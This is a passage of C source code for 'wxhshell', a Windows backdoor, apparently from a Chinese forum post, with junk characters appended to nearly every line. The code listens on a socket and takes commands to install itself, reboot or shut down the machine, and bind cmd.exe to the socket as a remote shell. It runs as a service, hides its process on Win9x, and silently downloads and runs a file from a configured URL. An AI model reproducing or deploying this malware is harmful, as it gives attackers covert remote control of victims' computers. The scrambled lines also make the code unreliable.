    switch(cmd[0]) { W'{q  
  m,n V,}@J  
  // 帮助 S fE^'G\  
  case '?': { e=t?mDh#E  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Qi^MfHW  
    break; LkFXUt?  
  } fTi,S)F'  
  // 安装 \~xOdqF/  
  case 'i': { Y[8w0ve- g  
    if(Install()) n3{m "h3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5*1wQlL  
    else ?U0iHg{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WG 9f>kE  
    break; $;*YdZ`q  
    } _t:cDXj  
  // 卸载 #)%N+Odnr  
  case 'r': { ;% *e}w0  
    if(Uninstall()) f}bUuQrH-!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); amf=uysr  
    else Co8b0-Z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3nBbPP_  
    break; ~MY7Ic%  
    } /qF7^9LtaY  
  // 显示 wxhshell 所在路径 z]>aWH}$  
  case 'p': { U'LO;s04m  
    char svExeFile[MAX_PATH]; HSx~Fs^J  
    strcpy(svExeFile,"\n\r"); @1P1n8mH]  
      strcat(svExeFile,ExeFile); Kq`Luf  
        send(wsh,svExeFile,strlen(svExeFile),0); Kggf!\MR8  
    break; (uOW5,e7  
    } B\|>i~u(  
  // 重启 d5A!kU _.  
  case 'b': { =[{Pw8['  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); #2ZXYH}  
    if(Boot(REBOOT)) +nuv?QB/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 94APjqV6'  
    else { 8tA.d.8  
    closesocket(wsh); (%#d._j>fZ  
    ExitThread(0); /F;*[JZIb  
    } .ET;wK  
    break; no?)GQ  
    } `N(.10~  
  // 关机 ?%Y?z ]L#  
  case 'd': { 2+=|!+f  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ";s5It  
    if(Boot(SHUTDOWN)) JF{,;&sj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X""'}X|O  
    else { 2Fx<QRz  
    closesocket(wsh); =_":Z!_  
    ExitThread(0); X8Sk  
    } IJ4"X#Q/  
    break; x(]s#D!)  
    } b V9Z[[\  
  // 获取shell HAO/r`7*  
  case 's': { eU%5CVH.v  
    CmdShell(wsh); M8[YW|VkP  
    closesocket(wsh); (X>y)V  
    ExitThread(0); ^<E+7  
    break; CCEx>*E6c  
  } o B6" D  
  // 退出 On'3K+(_  
  case 'x': { J.<eX=<  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); {t=Nnc15K  
    CloseIt(wsh); b,Z& P|  
    break; Y~vTFOI  
    } :W1,s53  
  // 离开 ]Rj"/(X,  
  case 'q': { \B}W(^\wg;  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); QK?5)[ J  
    closesocket(wsh); mSj[t   
    WSACleanup(); ^mJvB[ u|  
    exit(1); pM46I"  
    break; Q}=RG//0*  
        } N"T8 Pt  
  } y:42H tS  
  } E`?BaCrG~  
&)X<yd0  
  // 提示信息 -:~`g*3#  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); L}21[ N~ky  
} 9Np0<e3p  
  } :?UIyN?  
J,D{dYLDD  
  return; d|o"QYX  
} gMGg9U$@  
iit`'}+U  
// shell模块句柄 DY07?x7  
int CmdShell(SOCKET sock) ; zvnDox  
{ I L\mFjZ'  
STARTUPINFO si; u}:O[DG  
ZeroMemory(&si,sizeof(si)); U3V<ITZI8t  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; YSwD#jO0  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Z|/):nVP7  
PROCESS_INFORMATION ProcessInfo; \6'A^cE/PX  
char cmdline[]="cmd"; *C:+N>  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); v'>Yc#VJ  
  return 0; 'pe0Q-  
} m[bu(qz  
!<LS4s;  
// 自身启动模式 E^YbyJ=1  
int StartFromService(void) ^KaMi_--  
{ C C09:L?  
typedef struct K$]QzPXS  
{ Q&#:M>!|  
  DWORD ExitStatus; Tk!b`9  
  DWORD PebBaseAddress; =B:poh[u  
  DWORD AffinityMask; :$tW9*\KY  
  DWORD BasePriority; {S}@P~H =  
  ULONG UniqueProcessId; 1CM1u+<iZ  
  ULONG InheritedFromUniqueProcessId; oTfbx+i/G  
}   PROCESS_BASIC_INFORMATION; >YfOR%mS4  
4eEs_R  
PROCNTQSIP NtQueryInformationProcess; I;v`o{  
\nHlI=!P  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; %PS-nF7v  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; LF~#4)B  
a82mC r  
  HANDLE             hProcess; (J4utw Z  
  PROCESS_BASIC_INFORMATION pbi; mqHt%RX  
C|I 1 m  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); +)@>60y  
  if(NULL == hInst ) return 0; vck$@3*  
cP1jw%3P  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); #'8PFw\zw  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); q KM]wu0Et  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); -!0LIr:"  
&~%@QC/  
  if (!NtQueryInformationProcess) return 0; X w8i l  
y]l"u=$Tr{  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?lK!OyCkc  
  if(!hProcess) return 0; /pU6trIM  
_PM<25Y,@  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; -T?IkL)  
%wf|nnieZ  
  CloseHandle(hProcess); +V@=G &Ou0  
? iX=2-  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 'y?|shV{]  
if(hProcess==NULL) return 0; (L >[,YO9  
.Y|\7%(  
HMODULE hMod; }$U[5wL,_  
char procName[255]; ]M(mq`K  
unsigned long cbNeeded; JP4Moq~r   
DANSexW  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); `z_7[$\~  
FIjET1{  
  CloseHandle(hProcess); LJwMM  
@MB _gt)7?  
if(strstr(procName,"services")) return 1; // 以服务启动 dz|*n'd  
@;fE%N  
  return 0; // 注册表启动 />Vx*^u8Hz  
} ~ n^G<iXLp  
Wi?%)hur  
// 主模块 CS\tCw\Y  
int StartWxhshell(LPSTR lpCmdLine) kI 3zYD^:  
{ $Je"z]cy-  
  SOCKET wsl; A+*oT(`  
BOOL val=TRUE; n[Iu!v\/*  
  int port=0; <aaDW  
  struct sockaddr_in door; WcwW@cY7\  
5TneuGD  
  if(wscfg.ws_autoins) Install(); 5 ek %d  
J md ?  
port=atoi(lpCmdLine); ,/6:bc:W  
En9]x"_  
if(port<=0) port=wscfg.ws_port; &}0wzcMg  
2 dD<]  
  WSADATA data; P"h\7V,d%  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; SP*JleQN  
:6$4K"^1  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   U|7Qw|I7  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ^:!(jiH  
  door.sin_family = AF_INET; 1m`tqlFU9  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); bo;pj$eR3R  
  door.sin_port = htons(port); 1Bk*G>CX9(  
V$<G)dwUG5  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { :"P hkR  
closesocket(wsl); U`9\P2D`/  
return 1; /QXs-T}d  
} fuD1U}c  
"YzTMKu  
  if(listen(wsl,2) == INVALID_SOCKET) { ?>.g;3E$  
closesocket(wsl); K-EI?6`xM  
return 1; JNFT6T)T15  
} a^XTW7]r  
  Wxhshell(wsl); d0A\#H_&  
  WSACleanup(); (>LHj]}K  
&&9c&xgzE  
return 0; :Q r7:$S^  
c_z/At;4  
} &Ev]x2YC  
cUZ!;*  
// 以NT服务方式启动 LD~Jbq  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) hdf8U  
{ dx13vZ3[U  
DWORD   status = 0; !HR2Rfl  
  DWORD   specificError = 0xfffffff; YZBzv2'\x  
V"7<[u]K|  
  serviceStatus.dwServiceType     = SERVICE_WIN32; LN.Bd,  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 11B{gUv.]  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; XY!{g(  
  serviceStatus.dwWin32ExitCode     = 0; A)RI:?+  
  serviceStatus.dwServiceSpecificExitCode = 0; T`g?)/  
  serviceStatus.dwCheckPoint       = 0; Pv7f _hw  
  serviceStatus.dwWaitHint       = 0; ?79SPp)oo  
5xMA~I0c  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 8sR  
  if (hServiceStatusHandle==0) return; AJ>BF.>  
<t[Z9s$n  
status = GetLastError(); ^fE\S5P  
  if (status!=NO_ERROR) [>$\s=` h  
{ qD(fYOX{C  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Ko$ $dkSE  
    serviceStatus.dwCheckPoint       = 0; 8Fd1;G6  
    serviceStatus.dwWaitHint       = 0; +H[}T ]  
    serviceStatus.dwWin32ExitCode     = status; 3 ^02fy  
    serviceStatus.dwServiceSpecificExitCode = specificError; 5w,lw  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0NCOz(L/  
    return; mh A~eJ  
  } J|gdO+  
jU]]:S4xD/  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; IS,zy+w  
  serviceStatus.dwCheckPoint       = 0; Vq3]7l  
  serviceStatus.dwWaitHint       = 0; 0<]$v"`I  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); lBlSNDs  
} }[>RxHd  
X+dR<GN+YX  
// 处理NT服务事件,比如:启动、停止 .N5h V3  
VOID WINAPI NTServiceHandler(DWORD fdwControl) <[Tq7cO0  
{ HF &h  
switch(fdwControl) :LZ-da"QR  
{ ~rgf{oGz  
case SERVICE_CONTROL_STOP: C2+{U  
  serviceStatus.dwWin32ExitCode = 0; hFsA_x+L;  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; XGE 2J  
  serviceStatus.dwCheckPoint   = 0; ZR!cQ oV=  
  serviceStatus.dwWaitHint     = 0; 6 WA|'|}=  
  { =7 Jy  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Zz"I.$$[M  
  } aL8p"iSG9  
  return; TqS2!/jp  
case SERVICE_CONTROL_PAUSE: rnnX|}J  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; GXT]K>LA  
  break; QuSV&>T\  
case SERVICE_CONTROL_CONTINUE: >EBZ$X  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; t2=a(N-/,  
  break; zb"rMzCH  
case SERVICE_CONTROL_INTERROGATE: 0zg2g!lh  
  break; <\ y!3;  
}; ,9=gVW{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); w+t#Yb\7  
} 1pd 9s8CA  
1i4WWK7k  
// 标准应用程序主函数 Z7JKaP9{:  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Yuwc$Qp)  
{ {I4%   
"/Y<G  
// 获取操作系统版本 YSqv86  
OsIsNt=GetOsVer(); n4^~gT%b5]  
GetModuleFileName(NULL,ExeFile,MAX_PATH); IZO@V1-m  
}P#Vsqe V  
  // 从命令行安装 t";{1.  
  if(strpbrk(lpCmdLine,"iI")) Install(); 5,S,\O9>X  
FXS^^p P  
  // 下载执行文件 $[[?;g  
if(wscfg.ws_downexe) { *3;UAfHv  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) EbCIIMbe"  
  WinExec(wscfg.ws_filenam,SW_HIDE); As0 B\  
} }x]&L/  
a*D,*C5}  
if(!OsIsNt) { cI2Fpf`2Wj  
// 如果时win9x,隐藏进程并且设置为注册表启动 q^5yk=2fq  
HideProc(); %Nj #0YF]  
StartWxhshell(lpCmdLine); '0Lov]L  
} 4avc=Y5  
else s8^~NX(xdy  
  if(StartFromService()) RL6Vkd?  
  // 以服务方式启动 t\zbEN  
  StartServiceCtrlDispatcher(DispatchTable); uG;?vvg>  
else bMsECA&  
  // 普通方式启动 0mTEim  
  StartWxhshell(lpCmdLine); $`pd|K`  
)u0O_R  
return 0; "# 2pT H~  
}
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只看该作者 1 发表于: 2006-10-10
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